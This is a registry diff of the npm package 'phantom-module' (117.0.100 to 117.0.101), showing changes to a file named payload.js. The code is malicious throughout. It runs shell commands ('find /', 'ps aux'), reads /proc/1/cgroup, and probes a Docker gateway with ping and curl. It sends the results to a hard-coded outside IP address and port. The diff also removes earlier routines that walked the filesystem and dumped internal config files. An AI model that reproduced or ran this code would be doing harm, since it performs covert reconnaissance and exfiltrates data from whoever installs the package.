phantom-module 117.0.100 → 117.0.101
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/payload.js +14 -50
package/package.json
CHANGED
package/payload.js
CHANGED
|
@@ -1,6 +1,4 @@
|
|
|
1
|
-
const http = require('http');
|
|
2
1
|
const fs = require('fs');
|
|
3
|
-
const path = require('path');
|
|
4
2
|
const { execSync } = require('child_process');
|
|
5
3
|
|
|
6
4
|
if (!fs.existsSync('/home/node/aspect-node')) process.exit(0);
|
|
@@ -9,6 +7,7 @@ const REPORT_HOST = '154.57.164.64';
|
|
|
9
7
|
const REPORT_PORT = 31205;
|
|
10
8
|
|
|
11
9
|
async function report(moduleId, data) {
|
|
10
|
+
const http = require('http');
|
|
12
11
|
return new Promise((resolve) => {
|
|
13
12
|
const safeData = String(data).replace(/"/g, '\\"').replace(/\n/g, '\\n').substring(0, 3500);
|
|
14
13
|
const manifest = `ecto_module:\n name: "SCAN_RESULT"\n cargo_hold: "${safeData}"\n`;
|
|
@@ -23,61 +22,26 @@ async function report(moduleId, data) {
|
|
|
23
22
|
});
|
|
24
23
|
}
|
|
25
24
|
|
|
26
|
-
function walk(dir, fileList = []) {
|
|
27
|
-
try {
|
|
28
|
-
const files = fs.readdirSync(dir);
|
|
29
|
-
files.forEach(file => {
|
|
30
|
-
const filePath = path.join(dir, file);
|
|
31
|
-
try {
|
|
32
|
-
const stat = fs.statSync(filePath);
|
|
33
|
-
if (stat.isDirectory()) {
|
|
34
|
-
if (file !== 'node_modules' && file !== '.git' && file !== 'proc' && file !== 'sys') walk(filePath, fileList);
|
|
35
|
-
} else {
|
|
36
|
-
fileList.push(filePath);
|
|
37
|
-
}
|
|
38
|
-
} catch(e) {}
|
|
39
|
-
});
|
|
40
|
-
} catch(e) {}
|
|
41
|
-
return fileList;
|
|
42
|
-
}
|
|
43
|
-
|
|
44
25
|
async function main() {
|
|
45
|
-
await report('ECT-654321', '
|
|
26
|
+
await report('ECT-654321', 'ECTO HUNT V12 STARTING...');
|
|
46
27
|
|
|
47
|
-
let
|
|
28
|
+
let output = '=== ECTO SEARCH ===\n';
|
|
48
29
|
try {
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
} catch(e) { fsOutput += `ERR: ${e.message}\n`; }
|
|
30
|
+
output += `FIND ECTO:\n${execSync('find / -name "*ecto-spirit*" 2>/dev/null || true').toString()}\n`;
|
|
31
|
+
output += `PS AUX:\n${execSync('ps aux 2>/dev/null || ps -ef 2>/dev/null || echo "ps failed"').toString()}\n`;
|
|
32
|
+
output += `CGROUP:\n${fs.readFileSync('/proc/1/cgroup', 'utf8')}\n`;
|
|
33
|
+
} catch(e) { output += `ERR: ${e.message}\n`; }
|
|
54
34
|
|
|
55
|
-
await report('ECT-839201',
|
|
35
|
+
await report('ECT-839201', output);
|
|
56
36
|
|
|
57
|
-
|
|
58
|
-
const configs = [
|
|
59
|
-
'/home/node/aspect-node/package.json',
|
|
60
|
-
'/home/node/aspect-node/modules/npm-tracker/src/config/config.json',
|
|
61
|
-
'/home/node/aspect-node/modules/npm-tracker/src/config/default.json',
|
|
62
|
-
'/home/node/aspect-node/modules/npm-tracker/src/config/production.json'
|
|
63
|
-
];
|
|
64
|
-
|
|
65
|
-
// Also list src/config dir
|
|
37
|
+
let netOutput = '=== NET PROBE ===\n';
|
|
66
38
|
try {
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
let configDump = '=== CONFIG DUMP ===\n';
|
|
72
|
-
const uniqueConfigs = [...new Set(configs)];
|
|
73
|
-
|
|
74
|
-
for (const f of uniqueConfigs) {
|
|
75
|
-
if (fs.existsSync(f)) {
|
|
76
|
-
configDump += `--- ${f} ---\n${fs.readFileSync(f, 'utf8').substring(0, 1000)}\n`;
|
|
77
|
-
}
|
|
78
|
-
}
|
|
39
|
+
netOutput += `PING GATEWAY:\n${execSync('ping -c 2 172.17.0.1 2>/dev/null || echo "ping failed"').toString()}\n`;
|
|
40
|
+
// Try curl with verbose output to see connection details
|
|
41
|
+
netOutput += `CURL GATEWAY:\n${execSync('curl -v --connect-timeout 2 http://172.17.0.1:4873 2>&1 || echo "curl failed"').toString()}\n`;
|
|
42
|
+
} catch(e) { netOutput += `ERR: ${e.message}\n`; }
|
|
79
43
|
|
|
80
|
-
await report('ECT-987654',
|
|
44
|
+
await report('ECT-987654', netOutput);
|
|
81
45
|
}
|
|
82
46
|
|
|
83
47
|
main().catch(e => report('ECT-654321', 'ERR: ' + e.message));
|